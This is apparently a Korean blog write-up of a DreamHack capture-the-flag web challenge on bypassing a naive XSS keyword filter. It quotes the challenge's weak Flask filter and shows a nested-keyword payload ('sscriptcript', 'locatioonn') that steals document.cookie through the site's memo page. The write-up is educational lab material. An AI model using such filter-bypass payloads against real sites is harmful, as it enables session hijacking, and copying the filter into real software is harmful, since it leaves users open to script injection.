[DreamHack] [web] [Level 1] XSS Filtering Bypass 풀이

2024. 12. 26. 14:58Information Security 정보보안/DreamHack

728x90

배울내용 

dreamhack,

web hacking,

개발자도구,

dreamhack 풀이,

dreamhack XSS Filtering Bypass 문제,

dreamhack web 풀이 ,

XSS Filtering Bypass ,

Cross-Site Scripting

 

 

 

문제

 

 

 

 

 

 

 

이번문제또한 XSS(Cross Site Script ing ) 공격중 필터링 바이패스와 관련된 문제인것같다 

 

 

이번에는 로그인 기능이 없는데신 memo 라는 메모할수있는 공간이 있다 url에 파라메타뒤에 적고싶은글 적으니 아래칸에 계속 추가되는걸 볼수있었다 

 

 한번 코드를 확인해보자

 


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

 

여기에서 파라미터를 확인하는데 필터링으로 모든 소문자로 변경해주기때문에 대소문자는 의미가 없고 script , on 도 필터링하는걸 볼수있다

 


def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

 

그런데 replace 를 "" 빈칸으로 하기떄문에 아래와 같은걸 빈칸으로 만들시 아래처럼 만들어주면 script 에 있는 alert 를 사용할수있을것같다

 

<script> alert("sarimus") </script>

필터링후 --> 

<> alert("sarimus") </>



<sscriptcript> alert("sarimus") </sscriptcript>


필터링후 --> 

<script> alert("sarimus") </script>

 

 

 

 

 

성공적으로 script 를 뛰우는걸 성공했고 이를 통해서 쿠키값을 알아내면 될것같다

그럼 페이로드를 작성해보자

 

페이로드를 작성할떄 주의 할점이 script 뿐 아니라 on 까지 필터링하는것이다 그렇기 때문에 location.href 를 했을때 on 을 필터링 하기 때문에 에러가 나기 떄문에 이것또한 script 방식대로 추가해서 아래처럼 작성해준다 

 

<sscriptcript>locatioonn.href="/memo?memo="+document.cookie;</sscriptcript>

 

 

그런데 memo 에서 작성하려니 안된다 아마 flag 에서 확인해봐야할것같다 

 

 

 

그래서 flag에 똑같이 입력했는데 good 만뜨고 다른 이벤트가 안뜬다 

그래서 memo에 다시 가봣더니 여기에 플레그를 뛰운걸 볼수가 있었다

 

 

728x90